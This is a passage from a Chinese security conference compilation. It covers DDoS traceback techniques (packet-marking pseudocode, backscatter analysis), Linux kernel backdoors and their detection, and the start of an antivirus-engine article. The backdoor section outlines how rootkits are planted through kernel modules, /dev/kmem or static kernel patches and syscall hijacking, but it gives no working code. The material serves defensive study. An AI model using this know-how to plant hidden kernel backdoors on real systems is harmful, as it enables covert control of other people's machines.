这种想法很有独创性而且也很实际,但是有几个缺点和限制。最大的缺点就是这种办法本身就是一种 DOS攻击,会对一些信任路径也进行 DOS,这个缺点也很难用程序实施。而且,Controlled flooding要求有一个几乎覆盖整个网络的拓扑图。Burch和 Cheswick也指出,这种办法很难用于DDOS攻击的追踪。这种方法也只能对正在进行攻击的情况有效。3、Logging

这种方法通过在主路由器上记录包,然后通过数据采集技术来决定这些数据包的穿越路径。虽然这种办法可以用于对攻击后的数据进行追踪,它也有很明显的缺点,比如可能要求大量的资源(或者取样),并且对付大量数据的综合问题。4、ICMP追踪 这种方法主要依靠路由器自身产生的 ICMP 跟踪消息。每个路由器都有很低的概率(比如:1/200000),数据包可能会把内容复制到一个 ICMP消息包中,并且包含了到临近源地址的路由器信息。当 flood攻击开始的时候,victim就可以利用这些 ICMP消息来重新构造攻击者的路径。这种方式同上面介绍的比较,有很多优点,但是也有一些缺点。比如: ICMP可能被从普通流量中过滤掉,并且,ICMP追踪消息还要同 input debugging特性(将数据包同数据包 input端口和/或者要到达的MAC地址关联的能力)相关,但是,可能一些路由器就没有这样的功能。同时,这种办法还必须有一种办法来处理攻击者可能发送的伪造 ICMP Traceback消息,路由器处理的流量不一样,造成了贫穷路由器可能几乎很少发出追踪包,但是富裕路由器可能发送较多的追踪包。虽然,DOS攻击的路径有包大量增加,但是并不能肯定路径中贫穷路由器增加后的流量就可能大于那些正常的富裕路由器流量。。也就是说我们可以把这种方式同其他办法一起使用来让跟踪机制更有效。请参考更多 IETF iTrace Work Group

5、数据包标记追踪 Burch 和 Cheswick 提及了通过标志数据包来追踪 flood攻击的可能性,这即是统计的也可以是明确的,可以用来找到它们经过的路由器。这种办法以前没有深入研究过,但是它有很多潜在的优点。首先,它不需要同 ISP 进行合作因此可以避免 input debugging的消费;它也不象 controlled flooding 那样需要额外的大网络流量,并且可以用来追踪多攻击源;而且,跟 logging一样,也可以在攻击结束后进行追踪。最后,我们也发现标志机制不需要网络路由器的消耗。基本假设1、攻击者可以构造任意数据包2、多点攻击是相关联的3、攻击者可以会注意到他们正在被追踪4、数据包可能被丢失或者被重新排序5、攻击者发送无数的数据包6、在攻击者和受害者之间的路由器是稳定的 http://www.xfocus.org , http://www.xfocus.net 第 132页 共 218页

Page 133: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

7、路由器的 CPU和内存是有限的8、路由器没有被入侵前四个假设是对现在攻击者的能力的网络限制的保守假设。在 Internet 环境设计一种追

踪系统是一种极度挑战,因为这里实际上只有很少的东西值得信任。特别指出的是,攻击者创造数据包的能力将会极大地限制可能的方案。当路由器接收数据包的时候,它没有办法去判断是否这个包被上游路由器标志过的或者是否被攻击者伪造了这些信息的。实际上,只有这一点不会改变,那就是攻击者发起的数据包一定会经过源到 victim的所有路由器。

其他的假设,反映我们设计的基础和应该另外讨论的内容。首先(假设 5),拒绝服务攻击只有在它们占用了 victim 资源的时候才有效,因此,多数攻击都由上百万或者千万的数据包构成。我们的方法也是建立在这些性 ന上的,因为我们只有很少的路径状态片来标志每一个数据包,Victim通过观察这些数据包来重构攻击的完整路径。如果,攻击是那种大量攻击机只发送单个数据包到Victim,比如 Ping-of-death,那么我们就假设就无从谈起了。

第二,测量明显表明整个网络路由器在变化,对于数据包在 traceback操作中沿着许多不同路径花费很短的时间片段是极度稀有的。这个假设大大简化了整个过程,因此可以认为每个攻击者都只有一条主路径。如果网络已经发展成为允许多路由了,那么这个假设也就失效了。

第三、在路由器的执行技术、连接速度方面都有很多值得考虑的改进。因此,我们断言,任何可行的执行方案都必须考虑这些因素,每个包处理都有消耗,而且不能让执行方案造成泛洪。最后、由于危险的路由器可能完全消除所有的上游路由提供的信息,可能就造成完全

不能区别攻击者。在这种环境下,有安全危险的路由器必须在进行 Traceback 之前被首先处理。在普通环境下,我们相信这种假设是可以被接收的。 整个方案中,路由都显得非常重要。基本标记算法附加节点 最简单的标记算法——类似 IP 路由记录选项,就是把每一个节点地址附加在数据包的末尾,表明这是从哪里传入的。因此,每一个被目标接收的数据包都就是包含经过的路由器完整次序。 这种算法能够很快集合起来,然后这里也有一系列的限制。首先,对于高速路由器来说将增加负担。再次,数据包的长度还不能推理得出,不可能确定包中的路由列表是无用的数据。这可能导致不必要的分片,或者因为MTU而破坏。这个问题被通过保留足够的空间来解决,因为攻击者完全可以自己填充这个空间,或者来误导路径信息。节点取样 要减少路由的负担以及每个数据包的空间要求,可以通过在路径中的一个节点取样,让一个样本来代替整个路径。单个的静态节点可以保存在包头部中,对于 IPv4,可以有足够 http://www.xfocus.org , http://www.xfocus.net 第 133页 共 218页

Page 134: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

的空间来容纳路由器的地址了。当接收到一个数据包,每个路由器就以概率 p,选择性地将地址写到节点地址区间内。当足够的数据包被发送后,victim可以至少接收攻击路径上的每个路由器的一个样本。按照我们的假设,这些取样能够聚合起来构成攻击路径。 虽然可能看起来不可能,因为只是通过一些无序节点取样的集合来构成有序的路径,但是,如果通过足够的测试,就可以通过每个节点的相关数推理得到次序。由于路由器被成序列地安排在一起,而且数据包被每个路由器标记的概率有一个概率基数,那么距离victim越近的路由器标记的概率就会越小。如果我们每个路由器的概率基数是 p 那么,经过d 次路由标记的概率就是 p(1-p)d-1。因此,通过该函数,就能够推理得到攻击路径。 按照上面的方法,难点就在改变 IP头,并添加 32 bits的节点区间,也就是需要计算checksum。而这是很容易实现的,当前的高速路由器已经能够提供功能在每一跳中来更新TTL 值。而且如果 p>0.5,那么该算法完全能够对付单个攻击者,因为攻击者没有办法插入一个假的路由信息。 然而,这种算法有两大局限。第一,从有用的的取样中推理得出整个路由是一个相当慢的过程,而且需要接收非常多的节点样本。比如:如果 d=15, p=0.51,那么接收方至少需要接收到 42000个数据包才能在更远的路由器上接收到一个样本,要确保正确率在 95%以上,那么,还需要是这个数字的 7倍。第二,这个技术完全不适合多个攻击者的情况。节点取样算法: 在路由器 R上标志过程: 对于每一个数据包w,取[0,1]的随机数 x, 如果 x<p 那么就把 R写到w的节点区间。 在Victim (v)上的路径重建过程: 定义一个阵列 NodeTbl(Node, Count),对于每一个攻击数据包 w,在 NodeTbl中查询w.node 结果为 z; if z != NULL {z.count++} else {insert(w.node,1) into NodeTbl} Sort(NodeTbl) by count extract path(Ri,...,Rj)

边缘取样 要解决节点取样的一些问题,最好的办法就是不光标记单独的节点,而是在数据包中保留两个地址空间,用来标记路由开始点(start)和终止点(end),并且用一个区间来表示距离(distance),用它来表示一个样本到 victim的距离。当一个路由器决定标记数据包的时候,它把自己的地址填充到 start,把 distance域填 0。如果 distance域已经是 0了,就表示这个数据包已经被前一个路由器标记过。在这种情况下,路由器就把自己的地址填入 end域。这样,就表示了该路由器和前一个路由器的关系。最后,如果路由器不标记数据包,那么就始终在 distance域中加 1。

http://www.xfocus.org , http://www.xfocus.net 第 134页 共 218页

Page 135: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

这种强制增量的办法可以最小化攻击欺骗。当一个数据包到达的时候,distance域就表示取样节点的距离。任何攻击数据包,必定有一个距离大于或者等于真实的攻击路径长度。因此,单个攻击者就不能伪造一个边缘样本(对于分布式攻击,这对于最近的攻击源有效)。由于不用担心伪造的样本,因此,就可以任意决定一个取样概率值 p了。 Victim可以通过这些边缘样本来重新绘制攻击源路径了。边缘取样算法: 在路由器 R上的产生标志过程: For each packet w let x be a random number from [0,1] if x<p then write R into w.start and 0 into w.distance else if w.distance = 0 then write R into w.end increment w.distance Victim上的路径重建过程: Let G be a tree with root v let edges in G be tuples(start,end,distance) for each packet w from attacker if w.distance=0 then insert edge(w.start,v,0) into G else insert edge(w.start,w.end,w.distance) into G remove any edge(x,y,d) with d!=distance from x to v in G extract path(Ri,...Rj) by enumerating acyclie paths in G

关于数据包的标记以及高级的算法请参阅更多文档(《包标记追踪技术》By Refdom)。6、Pushback 与 Centerback

Pushback是一种防御 DDOS攻击的机制。DDOS 造成拥塞控制问题,但是因为这种拥塞是由于恶意主机造成,而不是传统的终端对终端的拥塞,所以,这个问题只能由路由器来解决。对每个路由器加入检测攻击和优先丢包功能。为了将路由器的资源都被用于合理的数据流,上游路由器也需要被通知丢弃这一类的包。而这类包需要路由器能够准确地进行特征描述。

Pushback 与 CenterBack都是基于路由器的主动防御措施,目前处于研究阶段,因为这些方法的实施,需要网络大范围的路由器功能支持,因为某段路由的功能不支持,就导致防御失败,现在看来,这还不是太现实。关于 Pushback 与 Centerback的详细请参阅其他文档。

http://www.xfocus.org , http://www.xfocus.net 第 135页 共 218页

Page 136: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第六节 反向散射分析(分布被动取样监控)[ Inside XFocus’s DDOS Research Project ]

大多数分布式拒绝服务攻击工具都伪造源 IP地址,并且发送的每个数据包都是随机产生的 IP地址,基本上著名的那些拒绝服务工具都是这样的:Shaft, TFN, TFN2K, trinoo, mstream, Trinity等。当 Victim接收到欺骗的攻击包(比如 SYN)时候,就会回应这些攻击包(比如 SYN+ACK)。有时候,一些网络设备(比如路由器、防火墙)也会向这些随机的欺骗性源地址发送 ICMP 回应。这里就产生了反向散射的效应,见下图:

图: Attacker发送一系列的随机地址A、B、C,接收到后 Victim 回应这些 IP地址。假设攻击发起的源地址是完全随机产生的(基本上拒绝服务攻击都是这样的),也没

有任何选择性。这些源地址就可以覆盖所有的 IP地址范围,如果攻击者发送了 m个攻击包,那么整个网络上的主机接收到Victim的回应包概率就是m/232

所以,如果监视 n个单独的 IP,那么监视到攻击的期望值就是:E (X) = nm/232

这只是一个期望值的公式,当然对于实际的采样统计,还应该有一个 L的系数作适当修正,以便适合所需要范围的监控,比如随机产生的 IP地址不会是 232这个理论 IP地址数目,而且还有一些其他的修正,比如,监控的范围大小等。

如果能够在一个足够大的 IP范围内做监控,那么就能够有效地对这些 DOS攻击作采样。然后可以对收集到采样数据进行统计分析,可以找出最近的受害目标分布,以及攻击强度的分布。但是该监视是通过被动进行,而不能检测攻击源的分布。

第七节 Reference

[1] MULTOPS: a data structure for DOS detection by Thomer M.Gill Dec 2000[2] Implementing Pushback: Router-Based Defense Against DDoS Attacks by John Ioannidis

and Steven M.Bellovin

http://www.xfocus.org , http://www.xfocus.net 第 136页 共 218页

Att

ack

er

A C

B Victiom

SYN+

ACK

S

Y

N

SYN+

ACK

Page 137: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

[3] CERT Advisory[4] Advanced and Authenticated Marking Schemes for IP Traceback by Dawn Xiadong Song

and Adrian Perrig[5] Distributed Denial Of Service Attacks by Felix Lau, Stuart h. Rubin, Micheal H.Smith

and Ljiljana Trajkovic[6] DENIAL OF SERVICE – UNLEASHED by Department of Computer Science University

of Kentucky[7] Practical Network Support for IP Traceback by Stefan Savage, David Wetherall, Anna

Karlin and Tom Anderson[8] Controlling High Bandwidth Aggregates in the Network by Ratul Mahajan, Steven M.

Bellovin, Sally Floyd, John Ioannidis, Vern Paxson, and Scott Shenker[9] Tracing Anonymous Packets to Their Approximate Source by Hal Burch, Bill Cheswick[10] CERT, ‘‘TCP SYN Flooding and IP Spoofing Attacks,’’ CERT Advisory CA-96.21, Sept,

1996.[11] CERT, ‘‘IP Spoofing Attacks and Hijacked Terminal Connections,’’ CERT Advisory CA-

95.01, Jan, 1995.[12] Implementing Pushback: Router-Based Defense Against DDoS Attacks by John

Ioannidis, Steven M. Bellovin[13] D. Dean, M. Franklin, and A. Stubblefield. An Algebraic Approach to IP Traceback. In

Proceedings of NDSS ’01, February 2001.[14] Tracking Spoofed IP Addresses Version 2.0 By Rob Thomas, [email protected], 08 FEB

2001[15] Resisting SYN flood DoS attacks with a SYN cache by Jonathan Lemon[16] CenterTrack: An IP Overlay Network for Tracking DoS Floods by Robert Stone

http://www.xfocus.org , http://www.xfocus.net 第 137页 共 218页

Page 138: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第五篇 内核后门实现及其检测作者:jbtzhm < [email protected] >时间:2002-8-16

本文主要讨论内核方式的后门的实现及其隐藏方式,着重描述相应的检测方法,后门的英文为 backdoor或 rootkit,通常只不为用户所知的恶意代码,在类 unix 先多以替代命令行的替代程序辅助以内核方式的程序,实现对进程,端口,文件等的隐藏。我们一般认为内核方式的后门就是 LKM的程序,其实这是不正确的,如果以这种观点对机器进行安全加固,也是非常危险的。下面我们讨论一下主要的内核方式后门,其中主要有三种,LKM加载的程序, /dev/

kmem方式后门和静态内核补丁方式。而一台机器是否可以被安置内核后门也不应该认为是否可以以系统的 insmod加载,至少我们知道后两种方式都不引导系统支持module。

LKM(Loadable Kernel Module)后门顾名思义是以 LKM方式实现的后门,程序被编译成具有 init_module入口的 object 程序,然后通过系统命令 insmod 进行加载,这是最为普遍的内核后门的实现。/dev/kmem和静态内核补丁其实是寻求一种在内核不支持 LKM方式时的内核后门安插方式。linux 提供/dev/kmem设备文件,使得对内核线性空间的读写成为可能,也就为向内核空间添加代码提供了理论基础。内核静态补丁并不对现有的内核线性空间进行操作,而是将后门程序 patch到内核静态映像中,使得系统重启后会获取执行可能。

从上我们知道,LKM 其实是所有技术的基础,我们先对其进行详细的分析,对我们理解后面的技术很有好处。我们从一个简单的例子来理解 LKM的实现。[root@linux-jbtzhm test]#cat hello.c#define __KERNEL__#define MODULE

#include <linux/version.h>#include <linux/kernel.h>#include <linux/module.h>

int init_module(){ char s[] = "hello world\n"; printk("%s\n",s); return 0;}这是一个module的 hello world 程序,我们通过 gcc -O2 -c hello.c 将其编译成为一个标

准的 object文件 hello.o,系统通过 insmod命令行将其加载,将在 console上打印一个 hello world 字符串。我们先了解一下系统内部是怎样完成加载的。首先 hello.o文件是一个需要重定位的文件,同时文件内代码使用了一些类型是UNDEFINE的符号,而这些符号的地址是insmod负责添加的,在此例子中就是 printk 函数的入口,我们可以通过 objdump命令行查看这个module。

http://www.xfocus.org , http://www.xfocus.net 第 138页 共 218页

Page 139: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

[root@linux-jbtzhm test]#gcc -O2 -c hello.c

[root@linux-jbtzhm test]# objdump -x hello.o|more..RELOCATION RECORDS FOR [.text]:OFFSET TYPE VALUE00000004 R_386_32 .rodata00000009 R_386_32 .rodata0000000e R_386_PC32 printk

[root@linux-jbtzhm test]# objdump -d hello.o

test.o: file format elf32-i386

Disassembly of section .text:

00000000 <init_module>: 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 68 00 00 00 00 push $0x0 8: 68 0d 00 00 00 push $0xd d: e8 fc ff ff ff call e <init_module+0xe> 12: 31 c0 xor %eax,%eax 14: c9 leave 15: c3 ret

我们注意到 text段的重定位表中有 printk的描述,是要修改 0000000e位置(fc ff ff ff)的 printk的值,insmod负责到内核中寻找正确的地址,当然这里会找到,然后根据 ELF 标准计算出正确的地址,这里的 R_386_PC32表示它是个相对调转。当然这是个简单的module程序,因此要修改的东西较少,但是所有的 module的UNDEF的符号肯定是要被解析出的,不然就会出我们熟悉的 unresolve symbol错误了。

相当于生成一段包含正确内核 api地址的一段代码,这段代码是可运行的,然而是只加载到重定位时确定的值。那么我们怎么知道这个值,又怎么能将其 copy到此地址呢?我们知道所有的用户态下涉及对内核的操作时,都会有相应的系统调用,这里也不例外,sys_create_module,sys_init_module,sys_query_module,sys_delete_module,就是 LKM 相关的系统调用。其中 sys_create_module负责分配内核中的线性空间,其使用的是 vmalloc,这点很重要),我们看看内核中内存的分配。内核提供了像用户空间 malloc和 free类似的两对独立的函数。第一对是 kmalloc和

kfree,管理在内核段内分配的内存——这是真实地址已知的实际和物理内存块。第二对是vmalloc和 vfree,用于对内核使用的虚拟内存进行分配和释放。由 kmalloc 返回的内存更适合于类似设备驱动的程序来使用,因为它在物理内存里而且是物理连续的。不过,kmalloc要比 vmalloc所能使用的资源少,因为 vmalloc还可以处理交换空间。vmalloc 分配的内核空间地址在系统中有一个全局的链表 vmlist描述,其记录了每块用 vmalloc 分配的地址空间的描述,由于空间地址往往比实际物理空间要大的多,因此 vmlist描述的空间也是存在交换出的问题。

http://www.xfocus.org , http://www.xfocus.net 第 139页 共 218页

Page 140: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

分配过空间后,其使用空间的开始部分为一个 module 结构,同时将包含名字的这个module 结构添加到module_list(全局变量)链表的头,也就是说正常加载的 module 将同时被记录在两个链表上,一个是 vmlist,一个是module_list链表。sys_init_module系统调用则负责将 insmod在用户态下构造好的一个module 结构和代码复制到内核态下。我们看一下这个非常重要的数据结构:struct module{ unsigned long size_of_struct; module 结构的大小 struct module *next; 下一个module的地址 const char *name; module的名字 unsigned long size; module的大小,是整个 module的总长度,包括 module 结构,代码,数据等 union { atomic_t usecount; long pad; } uc; /* Needs to keep its size - so says rth */

unsigned long flags; /* AUTOCLEAN et al */

unsigned nsyms; symbol的个数 unsigned ndeps; 依赖module的个数 struct module_symbol *syms; 此 module 实现的对外输出的所有 symbol struct module_ref *deps; 依赖的module 数组 struct module_ref *refs;被引用的module的数组 int (*init)(void); 用户实现的 init_module 函数的入口 void (*cleanup)(void); 用户实现的 clean_up 函数的入口 const struct exception_table_entry *ex_table_start; const struct exception_table_entry *ex_table_end;

http://www.xfocus.org , http://www.xfocus.net 第 140页 共 218页

Page 141: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

#ifdef __alpha__ unsigned long gp;#endif /* Members past this point are extensions to the basic module support and are optional. Use mod_opt_member() to examine them. */ const struct module_persist *persist_start; const struct module_persist *persist_end; int (*can_unload)(void);};

当然不同的版本的内核,这个结构可能不太一样,当时重要的几个成员定义是一样的。这里我们注意到其结构里有两个长度,就我们上边的例子来说,正确修复后的 hello.o的代码和数据连接在module 结构之后,因此一个描述结构大小,一个描述整个空间的消耗,和vmlist 节点中的所需空间大小是一样的。然后系统会执行 module的入口函数,也就是我们所实现的 init_module 函数。Modlist全局链表的结构可以如下图所示:

sys_query_module和 sys_delete_module是相应的查询和删除,很好理解我们略过。

有了上面的描述,希望大家对module的实现有了很好的了解,因为这对我们理解后面的知识很有好处,我们注意到要加载一段代码到内核空间其实主要涉及三个重要的方面:内核符号的定位(用于修复重定位代码)内核空间的分配并复制代码(获取存活空间)

http://www.xfocus.org , http://www.xfocus.net 第 141页 共 218页

Page 142: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

修改原有系统执行路径(获得执行权)因此,这三个方面才是主要问题,而不应该将视线停留在内核的 LKM支持。因此带着

这三个问题我们再看看/dev/kmem方式和静态内核补丁方式。在系统没有 export kernel symbol 的时候,我们是否可以确定内核 api 的地址呢,silvio 给了我们答案,在他的runtime-kernel-patching一文中有了详细的描述,同时/dev/kmem 机制有给了我们操作内核空间的机会,总之,解决了上述的三个问题就可以完成内核代码的注入。这里描述一下静态内核补丁的实现,也是为了更好的理解注入代码。首先内核符号的定位,它使用的方法可以和/dev/kmem的方法一样,我为了实现简单,

只是采用了/boot/System.map这个文件,通过获取相应的 kernel的符号地址,我们可以完成修复注入代码(为了通用和便于开发,我们就使用 LKM的开发方式)的工作,当然为了完成重定位工作,我们首先需要知道代码的载入地址,也就是相应的第二个问题的,空间的获取。

其实这对静态内核来讲非常简单,因为我们知道程序空间中有一段非初始化变量区bss,这段区域的数据不会存在静态文件中,但是程序运行时会在内存中留下 bss的空间,因此我们只要将这段空间调大一些留给我们的代码使用就可以了。如下图所示

对于获取获取执行权,简单的方法是将一个在启动是必然被调用的系统调用替换就可以了,然后回复这个值,不映像以后的使用。因此因此我们看到解决了上述的三个主要问题,其实剩下的只是一些技术细节去实现就可以了。有兴趣的朋友可以参考《静态内核补丁》一文。前面分析了主要的内核后门的实现,那么下面我们讨论一下,怎么简单的获知我们的

系统被安插了后门。哪怕我们不能获取后门的具体实现,知道被安插了也总是必要的。首先我们看一下后门的安插点,一段代码要被执行到,必然要修改现有的流程。那么

包括使用系统提供的接口象 dev_add_pack。还有就是修改内核代码段和数据段,最常见的就是内核函数劫持和修改系统调用表,而我们的检测也可以从此入手,同时从代码的寄存空间也是可以简单查询到非法代码,下面我们详细分析一下。

lsmod是 linux系统本身提供的命令行参数,但是其在查找 lkm方式的 backdoor方面基本退出了历史舞台,现有的后门基本没有直接就被发现的情况,但是试试不能绝对,在sunxkdoor的实现中,细心的管理员还是可以用 lsmod发现一些蛛丝马迹的(sunx的实现见本系列《module隐藏》一文),由于其并不是将本身的module 从 module_list上删除,因此还是可以看出不同的, lsmod本身不能发现后门,大多数的用途只是判断是否是正常的module。

好了我们基本上不考虑这种发现方式,首先,我们考虑正常加载的 LKM 程序。就 http://www.xfocus.org , http://www.xfocus.net 第 142页 共 218页

Page 143: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

module 本身的实现来说,如果 module 是用 insmod 来加载的,其 实现方式中用到sys_create_module系统调用来分配 module的内存,其使用的 vmalloc 函数,这里需要简单解释一下 vmalloc的实现,vmalloc是 linux kernel中常用的分配系统空间地址的函数,注意这里是空间地址,而不是真正意义上的空间,也就是说其分配的是在大于 PAGE_OFFSET+物理内存大小+8M ,小于 4G的线性空间地址,每一次的分配都将地址和长度加入到 vmlist这个全局变量中,因此,虽然大多数的 lkm方式的 backdoor会将本身的 module 结构从module_list中删除,但是其仍然在 vmlist的链表中,当然链表中不可能全是 module。然而其还是给了我们一个可能查出module的可能。对于 vmlist的检测,其实只限于正常的 LKM加载,我们通过前面的分析知道,将一段代码加载到任何位置都是可以的,只要能够分配出空间,而我们还可以用 kmalloc,get_free_pages等方法获取。

其 次,从系统调用表入手。我们知 道 linux kernel 中 export 一个重要的全局变 量sys_call_table,此表中存储了 255(没有全用)系统调用的入口地址,从 module的功能上说其一般都会对一些重要的系统调用进行替代。THC的文章中有一些重要的系统调用的列表,其实这些调用的选择取决于后门实现者的创造力。监视 syscall表的变化是对 backdoor检测的重要一项工作,异常的入口地址的变化如果指向一个 vmlist中的一个地址(lsmod并未发现 module),大部分情况下是有问题的,除非是一些正常功能的 module。但是这个sys_call_table是否真正是 kernel中所使用的系统调用表也同样需要考证,我们知道此表是被 int 80系统调用入口的程序所使用,那么其程序是否使用的表是否是这个 sys_call_table呢,以此我们必须试图从这个程序中找到使用的表。找寻的方法参照《Linux on-the-fly kernel patching without LKM 》文章,但是由于方法是多样的,我们不能确信此种方法一定能得到系统使用的系统调用表。再次,从系统 idr表入手,此想法和部分程序的实现原自文章《Execution path analysis:

finding kernel based rootkits》,中断向量表中的入口地址既然是可以改变的,那么重要的想80的入口完全可以重新实现,那么对 sys_call_table的检测还有什么意义吗?以此对 idr表的检测也是发现后门的重要步骤。对于取得相应的地址的方法,参看 phrack59-0x0a文档或实现中的程序。最后,除了对内核数据段数据的检测,对系统代码段也可以进行检查,因为只要我们

知道静态的内核映像文件,就可以将其和内存空间的代码段进行判断,通常的内核映像都是经过压缩的,但是从映像中可以找到 gzip的magic,将其解压后就可以得到内核的文本段。上面的几种分析只是针对已实现的或已有理论的后门的检测点,然而后门的实现取决

于实现者的创造力,我们不能总是事后发现,研究一种通用的检测后门的方法非常重要。通过前面的分析我们发现,lkm方式的后门通常都是改变程序的流程,使原来的流程转变到module中,《Execution path analysis: finding kernel based rootkits》中的方法是通过计算系统调用的指令个数判断流程的正确性,其已经具有了一定的通用型,我们这里不再讨论,我的设想是如果从流程的路径判断,效果会更好,因为前面讨论知道,module的地址空间在 vmlist的数据结构中描述,其地址空间是有特点的,而正常的 kernel中的函数 EIP不会超出_stext和_etext的范围(一些函数 hook 除外,但是我们能判断是否是正常的),因此我们如果能解释执行指定函数机器码,获得 EIP的变化是否越线来进行判断,从越线的地址我们可以得到 vmlist的节点,并试图打印出 module的描述(当然没有被实现者人为破坏),以此实现一个有效的芯片的虚拟器是实现其的最有效的方法,但是相对分析过程较为复杂,因为需要将系统中的上下文完全复制到虚拟机中,虽然是很好的解决方法,但是过于烦琐。因此只是分析机器码,获取相应寄存器的值,然后判断 EIP的内容,也是可以起到相应的 http://www.xfocus.org , http://www.xfocus.net 第 143页 共 218页

Page 144: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

作用,但是触发器方式的后门来说,虚拟执行的流程有可能和系统真正的流程有一些不同,这个有些困难,只能不过怎么样将所有条件跳转指令都当 jmp无条件跳转处理,保存当前状态,然后将所有路径走一遍。对于内核执行流程的检测,其实还有其他方法,比如单步执行跟踪方法。思路来自

《Execution path analysis》,文中为了计算系统调用的指令个数,在 debug的中断函数中加了计数器,其实如果我们把 EIP的检测部分加到这里,就可以完成对路径的检测,如果 EIP的指向非常可疑,我们即可记录报警,起到检测目的。好了,如果说我们可以争取的获取EIP的执行路径,那么我们怎么判断执行的范围是否正常呢,虽然我们知道内核的静态执行路径是在_stext和_etext范围内的,但是我们不排除一些正确的 LKM的存在,比如网卡驱动或或者我们自己的 LKM,不过没关系这些毕竟可以从系统的 module的管理链表获取,地址范围。以为我们自己是可以定位区域的,这也就我们说的为什么象 insmod 之类的系统提供的东西还是有用处的,虽然不能查出什么,但是却可以帮助我们判断什么是值得怀疑的。我们分析了主要的内核后门实现方式,同时也讨论了一些检测方法,但是我们不得不

承认,我们总是事后采取检测后门的存在,因此后门对于检测的工具具有先天的优越性,也就是说公开一种检测方法也就同时以为着我们可能失去一种检测方法,这其实也是矛与盾的不断较量,同时也是促进新技术产生的动力。

相关资料文档:* linux内核源代码情景分析》 胡希明 毛德操* Execution path analysis Jan K. Rutkowski*《RUNTIME KERNEL KMEM PATCHING》 Silvio* linux-kernel-source-2.4.7* LKM backdoor研究 linux系列--insmod 源码分析篇 jbtzhm* LKM backdoor研究 linux系列-module的隐藏 jbtzhm* LKM backdoor研究 linux系列-静态内核补丁 jbtzhm

http://www.xfocus.org , http://www.xfocus.net 第 144页 共 218页

Page 145: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第六篇 浅析反病毒引擎作者:江海客 < [email protected] >主页:http://www.antiy.net时间:2002-12

引言峰会之后的一些讨论,让我考虑作这样一个“补充发言”,这依然是从工程化角度出

发的东西,希望从一个AVER的角度,能和 hacker们进行一些交流。何谓反病毒引擎?反病毒引擎就是指依赖于一个特定的数据描述集合来完成计算机病

毒检测和清除的一组程序模块。当然,这个特定的数据描述集合,就是病毒库。两者互相依赖,相辅相成。

第一节 反病毒引擎的产生在 80年代中后期,针对X86系统的病毒产生并发展,由于当时病毒总量有限,而

且依赖于一定地缘性流行。因此早期的计算机病毒的对抗和处理,往往依赖于那些一对一的免疫程序或者专杀工具。这种方式一般需要知道某种病毒即将流行,之后通过免疫程序设置感染标志欺骗

病毒,或者从微机使用者,发现或者猜测有某种病毒开始,之后使用特定的专杀工具清除。效率比较差。

之后,一些开发专杀工具的程序员将工具作了简单的集成,添加了一个类似如下的字符界面:

1. Scan and Kill Brain2. Scan and Kill pingpong3. Scan and Kill stone4. Scan and Kill Jerusonlem5. Exit

Press 1-5 to Continue….

这种工具只是将若干个专杀工具置于一个统一界面调度下而已,并没有实质性的进展。

随着病毒数量的增多,上述方式显然不再适合。一些初步具有商业软件风格的反病毒软件开始产生,这些软件可以自动完成对软件可查杀的所有病毒的检测,但早期的一些反病毒软件还只是简单的把若干个选择执行的模块串联起来而已。类似如下的

http://www.xfocus.org , http://www.xfocus.net 第 145页 共 218页

Page 146: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

流程。比如一个完成对 Boot检测的流程:

这种串接结构还不能称为反病毒引擎,它实际上做了大量的重复工作,耗费了资源,而且造成程序的结构混乱,不方便调试。病毒引擎的最终出现,来自对病毒共性的提取,从而形成一组或者几组比较规范

